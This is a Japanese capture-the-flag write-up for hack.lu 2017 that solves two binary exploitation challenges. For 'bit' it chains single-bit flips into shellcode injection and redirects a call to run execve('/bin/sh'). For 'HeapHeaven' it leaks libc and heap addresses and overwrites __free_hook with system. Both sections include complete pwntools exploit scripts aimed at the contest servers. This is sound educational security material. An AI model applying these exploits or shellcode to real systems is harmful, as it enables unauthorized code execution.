hack.lu CTF 2017 writeup

チーム名 NaruseJunで参加しました。 bit(150), HeapHeaven(100)の2問を解きました。あと、exam(200)に取り組んでいましたが解けませんでした。

bit(150)

実行ファイルのどこかを1bit反転させるやつ

概要

実行してみると 1. プログラムを起動すると何も表示されないまま標準入力でブロック。
2. 何かを入力するとプログラム終了。
という感じでした。

snowmanのデコンパイル結果を書き換えると以下のc言語のコードができました。

int main() {

    eax3 = scanf("%lx:%u", g601018, g601020);
    if (eax3 == 2) {
        if (g601020 <= 7) {
            mprotect(g601018 & 0xffffffffffff1000, 0x1000, 7);
            rsi = *g601018
            **g601018 = (**g601018 ^ (1 << *g601020)) & 0xff;
            *rsi = *g601018 & 0xff
            mprotect(g601018 & 0xffffffffffff1000, 0x1000, 5);
            return 0;
        } else {
            return -1;
        }
    } else {
        return -1;
    }
    return 0;
}

何をしているかというと、
1. %lx:uのフォーマットで2つの変数に値を入力。lxは16進数のlong型、uは10進数の符号無しint型。
2. mprotectでaddrが含まれる領域を読み書き実行可能にする。
3. それぞれの変数名をaddr, nとすると、アドレスaddr上の値の1byteのnbit目を反転する。
4. mprotectで読み取り、実行権限だけにする。(書き込み権限を消す)
となっていました。シンプルです。

セキュリティ

以下はchecksecの実行結果です。

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

脆弱性

デコンパイル結果やアセンブリを眺めていてもよくわからなかったのでmain関数のビット反転後の処理を全通り反転させます。
実行したスクリプトは以下の通りです。
下記のコードのdo関数内のp.interactive()まで到達してまだ標準入力を受け付けていれば何かありそうなので。

from pwn import *
import time

def do(addr, bit):
    p = process("./bit")
    p.sendline("%x:%d" % (addr, bit))
    try:
        time.sleep(0.5)
        p.sendline('AAAA')
        p.interactive()
    except EOFError:
        print 'fail'
    finally:
        p.close()


for addr in range(0x4006f9, 0x400732 + 1):
    for bit in range(8):
        print('addr: %s, bit: %s' % (hex(addr), bin(bit)))
        do(addr, bit)

実際に疑わしかったアドレスとビットの組は以下の通り。

addr: 0x400713, bit: 0b0
addr: 0x400714, bit: 0b101
addr: 0x40072a, bit: 0b100
addr: 0x40072b, bit: 0b0
addr: 0x40072b, bit: 0b1
addr: 0x40072b, bit: 0b10
addr: 0x40072b, bit: 0b100
addr: 0x400731, bit: 0b11
addr: 0x400731, bit: 0b100
addr: 0x400731, bit: 0b110
addr: 0x400731, bit: 0b111

いくつかの疑いのあるaddr, bitの組み合わせでデバッグしてみるとret命令の後でまたmain関数に戻っていることがわかりました。
また、main関数を何回終了しても、main関数に戻るので無限ループになると考えました。
また、無限ループの最中も任意アドレスのビット反転は可能なので、アドレス上の値が既知であれば好きなだけ書き換えられるわけです。

exploit

以下の手順でシェルを起動しました。
1. 常に値が0の領域0x6009c0にシェルコードを書き込みます。前述の通り、mprotectにより実行権限が付与されます。
2. main関数の最後の方のcall __stack_chk_failcall 0x6009c0に書き換えます。
3. call __stack_chk_failの関数の直前のje 400731jne 400731に書き換えます。
4. execve("/bin/sh", NULL, NULL)が実行されます。

実行したスクリプトは以下の通りです。

from pwn import *
import time

shellcodeAddr = 0x6009c0
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

# p = process("./bit")
p = remote('flatearth.fluxfingers.net', 1744)
p.sendline("%x:%d" % (0x400731, 7))

#value of 0x601100(.bss) is originally zero
def write(addr, char):
    v = bin(ord(char))[2:][::-1]
    v = v + '0' * (8-len(v))
    for i in range(8):
        if v[i] == '1':
            p.sendline("%x:%d" % (addr, i))

for i, c in enumerate(shellcode):
    write(shellcodeAddr + i, c)

s1 = "\xe8\xbf\xfd\xff\xff"
s2 = "\xe8\x8f\x02\x20\x00"
callAddr = 0x40072c
for i, c12 in enumerate(zip(s1, s2)):
    c = chr(ord(c12[0]) ^ ord(c12[1]))
    write(callAddr + i, c)

# 0x0040072a   7405 je 0x400731
write(0x40072a, chr(0x5 ^ 0x4))
p.interactive()

HeapHeaven(100)

ヒープで色々できるやつ。

概要

以下は入力できるコマンドと実行内容です。 * whaa!: 数値を指定してその値のサイズをmalloc
* mommy?: ヒープのオフセットを指定してを読み出し
* <spill>: ヒープのオフセットを指定して書き込む
* NOM-NOM: ヒープのオフセットを指定してfree

また、ヒープのオフセットや数値の指定方法が独特で、文字列からビットシフトとインクリメントを実行してその実行結果の数値が各コマンドに数値やヒープのオフセットとして渡されます。
以下のアルゴリズムで動作していることがわかりました。
1. 2i番目の文字を見てwであれば左シフト、そうでなければiをインクリメントして再び1へ
2. 2
i+1番目の文字をみてiであればインクリメント、aであれば1へ、それ以外はreturn -1を実行
pythonでは以下の用に書けました。

def parse_num(s):
    i = 0
    v = 0
    while i <= 0x3f:
        if s[2 * i] == 'w':
            v <<= 1
            if s[2 * i+1] == 'i':
                v += 1
            elif s[2 * i+1] == 'a':
                i += 1
                continue
            else:
                print "fail"
                return -1
        i += 1
    return v

exploit

アドレスがランダムかされているため<spill>を使って任意アドレスを書き換えるには書き換えたいアドレスとヒープのアドレスをオフセットが必要です。
今回はGOTアドレスの書き換えが不可能なので__free_hookの値を書き換えたいと思います。__free_hookはlibc上に存在するためlibcとヒープのアドレスをリークする必要があります。
以下の順番でmallocとfreeをすると、ヒープ上のチャンクのfd, bkにそれぞれlibcのアドレス、ヒープのアドレスが書き込まれアドレスのリークが可能です。

malloc(0x90)
malloc(0x90)
malloc(0x20)
malloc(0x90)
malloc(0x20)
free(0x20)
free(0x190)

ヒープ、libcのアドレスのアドレスがわかったので__free_hooksystemのアドレスを書き込みます。
次にヒープのオフセットが0の位置に"/bin/sh\x00"を書き込み、同じオフセットの位置に対してfreeを実行することで__free_hookがよびだされ、system("bin/sh")がフックされます。

実行したスクリプトは以下の通りです。

from pwn import *
import time

binary = 'HeapHeaven'
libcName = './libc.so.6'
libc = ELF(libcName)
elf = ELF(binary)

p = remote('flatearth.fluxfingers.net', 1743)
# p = process(binary, aslr=True, env={"LD_PRELOAD": libcName})
# p = process(binary, aslr=False, env={"LD_PRELOAD": libcName})

def conv(n):
    s = bin(n)[2:]
    ret = ''
    for c in s:
        if c == '0':
            ret += 'wa'
        else:
            ret += 'wi'
    ret += 'x' * (254 - len(ret))
    return ret

def getOffset(src, dest):
    offset = dest - src
    if offset < 0:
        return offset + (1 << 64)
    else:
        return offset

def wait():
    return p.recvuntil("========")

def malloc(size):
    p.send('whaa!\x00\x00\x00')
    p.recvuntil("I'll prepare your happa happa, darling...")
    p.sendline(conv(size))

def free(offset):
    p.send('NOM-NOM\x00')
    p.sendline(conv(offset))

def leak(offset):
    p.send('mommy?\x00\x00')
    p.sendline(conv(offset))
    p.recvuntil('See what we have here, darling: ')
    s = p.recvuntil('\n')
    s = s[:-1]
    return u64(s + '\x00' * (8 - len(s)))

def write(offset, content):
    p.send('<spill>\x00')
    p.recvuntil('What are you doing?')
    p.sendline(conv(offset))
    p.recvuntil('Look at this mess, darling!')
    p.sendline(content)

wait()

malloc(0x90)
malloc(0x90)
malloc(0x20)
malloc(0x90)
malloc(0x20)
free(0x20)
free(0x190)
libcBase = 0x2aaaaacd3000 + (leak(0x20) - 0x2aaaab097b78)
free_hook = libcBase + libc.symbols['__free_hook']
system = libcBase + libc.symbols['system']
print('libcBase: %s' % hex(libcBase))
print('free_hook: %s' % hex(free_hook))
print('system: %s' % hex(system))

happa = leak(0x28) - 0x180
print('happa: %s' % hex(happa))

write(getOffset(happa, free_hook), p64(system))
write(0, '/bin/sh\x00')
free(0)

p.interactive()

HeapHeaven(150)よりbits(100)の方が簡単だった。